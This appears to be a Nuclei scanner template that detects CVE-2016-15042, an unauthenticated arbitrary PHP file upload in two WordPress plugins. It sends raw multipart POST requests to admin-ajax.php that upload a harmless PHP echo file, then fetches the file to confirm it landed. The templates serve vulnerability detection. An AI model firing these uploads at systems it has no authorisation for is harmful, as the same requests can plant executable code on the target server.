CVE-2016-15042: WordPress Frontend File Manager < 4.0 & N-Media Post Frontend < 1.1 - Arbitrary File Upload

id: CVE-2016-15042

info:
  name: WordPress Frontend File Manager < 4.0 & N-Media Post Frontend < 1.1 - Arbitrary File Upload
  author: jsnv-dev
  severity: critical
  description: |
    The Frontend File Manager plugin (<4.0) and N-Media Post Front-end Form plugin (<1.1) for WordPress were vulnerable to arbitrary file uploads due to missing file type validation. This allowed unauthenticated attackers to upload arbitrary files and potentially achieve remote code execution.
  reference:
    - https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/
    - https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-n-media-post-front-end-form/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-15042
    - https://wordpress.org/plugins/nmedia-user-file-uploader/#developers
    - https://wpscan.com/vulnerability/052f7d9a-aaff-4fb1-92b7-aeb83cc705a7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-15042
    cwe-id: CWE-434
    epss-score: 0.72798
    epss-percentile: 0.98738
    cpe: cpe:2.3:a:najeebmedia:frontend_file_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: najeebmedia
    product: frontend_file_manager
    framework: wordpress
  tags: cve,cve2016,wordpress,wp-plugin,n-media,post-frontend,intrusive,unauth,file-upload

variables:
  randstr_name: "{{randstr}}"
  randstr_content: "{{randstr}}"
  filename: "{{to_lower(randstr_name)}}.php"
  content: "<?php echo '{{randstr_content}}'; ?>"

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_val}}

        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="action"

        nm_postfront_upload_file
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="name"

        {{filename}}
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{content}}
        ------WebKitFormBoundary{{randstr_val}}--

      - |
        GET /wp-content/uploads/post_files/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: n-media-post-frontend-upload
        dsl:
          - 'status_code == 200'
          - 'contains_all(body_1, "{{filename}}","file_name")'
          - 'contains(body_2, "{{randstr_content}}")'
        condition: and

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_val}}

        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="action"

        nm_filemanager_upload_file
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="name"

        {{filename}}
        ------WebKitFormBoundary{{randstr_val}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{content}}
        ------WebKitFormBoundary{{randstr_val}}--

      - |
        GET /wp-content/uploads/user_uploads/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: frontend-file-manager-upload
        dsl:
          - 'status_code == 200'
          - 'contains_all(body_1, "{{filename}}","file_name")'
          - 'contains(body_2, "{{randstr_content}}")'
        condition: and
# digest: 4a0a00473045022007a449ea9170aeb4c9963bba40cb67cf2e91febff8fc243d0cb0672bebdedca2022100d4614774c1abadb68ad17118ed068bffe77e612412ae405e4042f1fcbd34acf4:922c64590222798bb761d5b6d8e72950